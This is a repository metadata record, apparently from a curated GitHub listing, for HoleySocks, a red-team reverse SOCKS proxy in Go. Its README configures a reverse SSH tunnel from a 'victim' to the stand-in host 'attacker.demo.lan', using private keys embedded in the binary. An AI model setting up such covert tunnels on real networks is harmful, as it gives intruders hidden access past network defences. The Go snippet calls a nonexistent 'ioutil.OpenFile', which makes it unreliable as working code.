{"id":13721149,"url":"https://github.com/audibleblink/HoleySocks","last_synced_at":"2025-05-07T13:31:51.465Z","repository":{"id":57577112,"uuid":"151651818","full_name":"audibleblink/holeysocks","owner":"audibleblink","description":"Cross-Platform Reverse Socks Proxy in Go","archived":false,"fork":false,"pushed_at":"2023-02-25T07:52:40.000Z","size":64,"stargazers_count":25,"open_issues_count":4,"forks_count":11,"subscribers_count":2,"default_branch":"main","last_synced_at":"2024-05-02T05:30:37.539Z","etag":null,"topics":["golang","infosec","proxy","redteam","security-tools","socks5","ssh"],"latest_commit_sha":null,"homepage":null,"language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/audibleblink.png","metadata":{"files":{"readme":"readme.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2018-10-05T00:19:29.000Z","updated_at":"2024-04-18T04:36:37.000Z","dependencies_parsed_at":"2024-01-13T11:12:49.389Z","dependency_job_id":"82b0b8b4-0144-4174-b4fe-63c9818b8c29","html_url":"https://github.com/audibleblink/holeysocks","commit_stats":null,"previous_names":[],"tags_count":4,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/audibleblink%2Fholeysocks","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/audibleblink%2Fholeysocks/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/audibleblink%2Fholeysocks/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/audibleblink%2Fholeysocks/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/audibleblink","download_url":"https://codeload.github.com/audibleblink/holeysocks/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":224604805,"owners_count":17339208,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["golang","infosec","proxy","redteam","security-tools","socks5","ssh"],"created_at":"2024-08-03T01:01:12.945Z","updated_at":"2024-11-14T10:31:10.869Z","avatar_url":"https://github.com/audibleblink.png","language":"Go","funding_links":[],"categories":["Encryption"],"sub_categories":[],"readme":"# HoleySocks\n\nA cross-platform reverse socks proxy.\n\n\n## Getting Started\n\n### As a module\n\n```go\nimport github.com/audibleblink/holeysocks/pkg/holeysocks\n\nfunc main() {\n\t//error handling removed for brevity\n\tconfig := holeysocks.MainConfig{}\n        configBytes, _ := ioutil.OpenFile(\"ssh.json\")\n        json.Unmarshal(configBytes, \u0026config)\n\t\n\tsshKey, _ := ioutil.OpenFile(\"id_ed25519\")\n\tconfig.SSH.SetKey(sshKey)\n\tholeysocks.ForwardService(config)\n}\n```\n\n### As a standalone binary\n\nIt's required to embed all the parameters needed to start and forward the socks server with SSH.\nDo this by creating `config/ssh.json` and using `make`\n\n```bash\ncat \u003c\u003cEOF \u003e configs/ssh.json\n{\n  \"ssh\": {\n    \"username\": \"sshuser\",\n    \"host\": \"attacker.demo.lan\",\n    \"port\": 22\n  },\n  \"socks\": { \"remote\": \"127.0.0.1:1080\" }\n}\nEOF\n\nmake\n```\n**CAUTION**\nThe generated private keys are embedded into the binary to allow for the reverse\nport forwarding without interaction. Follow the instructions below.\n\nBefore running the generated binaries, you'll need a user on your attacking machine\nfor receiving the reverse ssh connection that forwards the socks proxy from the victim.\n\nOnce that user has been created, (with a homedir and /bin/false shell), append the generated\npubkey in your authorized_keys file on the attacking machine.\n\nThe Makefile should generate the needed commands and entry for you when you run `make`\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faudibleblink%2FHoleySocks","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Faudibleblink%2FHoleySocks","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faudibleblink%2FHoleySocks/lists"}